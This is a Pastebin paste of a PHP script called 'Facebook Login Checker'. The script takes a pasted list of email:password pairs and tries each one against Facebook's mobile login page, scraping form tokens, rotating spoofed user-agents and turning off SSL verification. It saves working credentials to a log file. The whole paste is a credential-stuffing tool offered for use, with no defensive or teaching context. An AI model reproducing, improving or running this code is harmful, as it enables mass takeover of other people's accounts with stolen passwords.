Advertisement
Guest User

facebook

a guest
Apr 7th, 2012
1,482
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.18 KB | None | 0 0
  1. <html>
  2. <head><title>Facebook Login Checker v1.0</title>
  3. <style type="text/css">
  4. body{
  5. background-color: #000;
  6. font-family: courier new;
  7. font-size:11px;
  8. color:#FFFFFF;
  9. scrollbar-face-color: #FFFFFF;
  10. scrollbar-highlight-color: #000000;
  11. scrollbar-shadow-color: #000000;
  12. scrollbar-3dlight-color: #FFFFFF;
  13. scrollbar-arrow-color: #FFFFFF;
  14. scrollbar-track-color: #FFFFFF;
  15. scrollbar-darkshadow-color: #FFFFFF;
  16. }
  17. input,textarea{
  18. font-family: courier new;
  19. font-size:11px;
  20. color:#FFFFFF;
  21. background-color: #999999;
  22. border:1px solid #000000;
  23. }
  24. </style>
  25. </head>
  26. <body>
  27. <h2>Facebook Login Checker v2.0</h2><br>
  28. <img src="http://i44.tinypic.com/14jmahi.png">
  29. <form name="data" method="post">
  30. <textarea name="logins" class="input" cols="50" rows="10"></textarea><br><h4>Copypaste &copy; 2012 by samarinda coder</h4><br>
  31. <input type="submit" value="Check!">
  32. </form>
  33. <?php
  34. error_reporting(0);
  35. set_time_limit(0);
  36. if(isset($_POST['logins'])){
  37. $logins = trim($_POST['logins']);
  38. flush(); ob_flush();
  39. $logins = split("\n", $logins);
  40. $jum = count($logins);
  41. flush(); ob_flush();
  42. print "<hr><b>Checking ".$jum." Facebook logins now...<br>Please wait...</b><br>";
  43. flush(); ob_flush();
  44. for($x = 0; $x < $jum; $x++) {
  45. $logins = str_replace(" ", "", $logins);
  46. $logins = str_replace("\r", "", $logins);
  47. $logins = str_replace("\n", "", $logins);
  48. list($email, $password) = split(":", $logins[$x]);
  49. $num = $x + 1;
  50. print "<br>[".$num."] ".$email.":".$password." - ";
  51. flush(); ob_flush();
  52. if(file_exists("fb.txt")) {
  53. unlink("fb.txt");
  54. }
  55. $cek = CekLogin($email, $password);
  56. print $cek;
  57. }
  58. print "<hr><b>Done!</b>";
  59.  
  60. }
  61. function CekLogin($email,$passw) {
  62. $uas = array(1 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.16) Gecko/2010010414 Firefox/3.0.16 Flock/2.5.6",
  63. 2 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  64. 3 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6",
  65. 4 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",
  66. 5 => "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)");
  67. $ua = rand(1, count($uas));
  68. $ua = $uas[$ua];
  69. $ch = curl_init();
  70. curl_setopt($ch, CURLOPT_URL, "http://m.facebook.com/login.php?m=m&refsrc=http%3A%2F%2Fm.facebook.com%2F&refid=8
  71. ");
  72. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  73. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  74. curl_setopt($ch, CURLOPT_ENCODING, "");
  75. curl_setopt($ch, CURLOPT_COOKIEJAR, "fb.txt");
  76. curl_setopt($ch, CURLOPT_USERAGENT, $ua);
  77. $chEx = curl_exec($ch);
  78. curl_close($ch);
  79. $chr = substr($chEx, strpos($chEx, "name=\"charset_test\""));
  80. $chr = substr($chr, strpos($chr, "value=") + 7);
  81. $chr = substr($chr, 0, strpos($chr, "\""));
  82. $form = substr($chEx, strpos($chEx, "name=\"post_form_id\""));
  83. $form = substr($form, strpos($form, "value=") + 7);
  84. $form = substr($form, 0, strpos($form, "\""));
  85. $ch = curl_init();
  86. curl_setopt($ch, CURLOPT_URL, "http://m.facebook.com/login.php?m=m&refsrc=http%3A%2F%2Fm.facebook.com%2Fhome.php&fbb=rb99b9fa7&refid=8");
  87. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  88. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  89. curl_setopt($ch, CURLOPT_POST, 1);
  90. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  91. curl_setopt($ch, CURLOPT_POSTFIELDS, "lsd=&post_form_id=$form&charset_test=$chr&email=$email&pass=$passw&login=Log+In");
  92. curl_setopt($ch, CURLOPT_ENCODING, "");
  93. curl_setopt($ch, CURLOPT_COOKIEFILE, "fb.txt");
  94. curl_setopt($ch, CURLOPT_COOKIEJAR, "fb.txt");
  95. curl_setopt($ch, CURLOPT_USERAGENT, $ua);
  96. $chEx = curl_exec($ch);
  97. curl_close($ch);
  98. if(preg_match("/<span>Beranda<\/span>/", $chEx)) {
  99. print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
  100. $file = fopen("facebook_log.txt","a+");
  101. fwrite($file,$email.":".$passw."\n");
  102. fclose($file);
  103. } elseif(preg_match("/<span>Home<\/span>/", $chEx)) {
  104. print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
  105. $file = fopen("facebook_log.txt","a+");
  106. fwrite($file,$email.":".$passw."\n");
  107. fclose($file);
  108. } elseif(preg_match("/The following people want to be your friend on Facebook/")) {
  109. print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
  110. $file = fopen("facebook_log.txt","a+");
  111. fwrite($file,$email.":".$passw."\n");
  112. fclose($file);
  113. } elseif(preg_match("/Sorry, something went wrong./", $chEx)) {
  114. print "<font color='#ff0000'>Facebook Error!!</font>";
  115. $file = fopen("facebook_log.txt","a+");
  116. fwrite($file,$email.":".$passw."\n");
  117. fclose($file);
  118. } elseif(preg_match("/Sorry, your account is temporarily unavailable./", $chEx)) {
  119. print "Logged in. but this account is temporarily unavailable.";
  120. $file = fopen("facebook_log.txt","a+");
  121. fwrite($file,$email.":".$passw."\n");
  122. fclose($file);
  123. } elseif(preg_match("/Incorrect email\/password combination./", $chEx)) {
  124. print "<font color='#ff0000'>Incorrect email/password combination.</font>";
  125. } elseif(preg_match("/since this location is very unusual for you/", $chEx)) {
  126. print "Logged in. but it need verification for your location through email.";
  127. $file = fopen("facebook_log.txt","a+");
  128. fwrite($file,$email.":".$passw."\n");
  129. fclose($file);
  130. } elseif(preg_match("/Your account has been disabled/",$chEx)) {
  131. print "Account Disabled";
  132. } else {
  133. print "unkn0wn responses, please check it manually! jangan suka curi source oke gan by samarinda coder";
  134. $file = fopen("facebook_log.txt","a+");
  135. fwrite($file,$email.":".$passw."\n");
  136. fclose($file);
  137. }
  138. }
  139. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement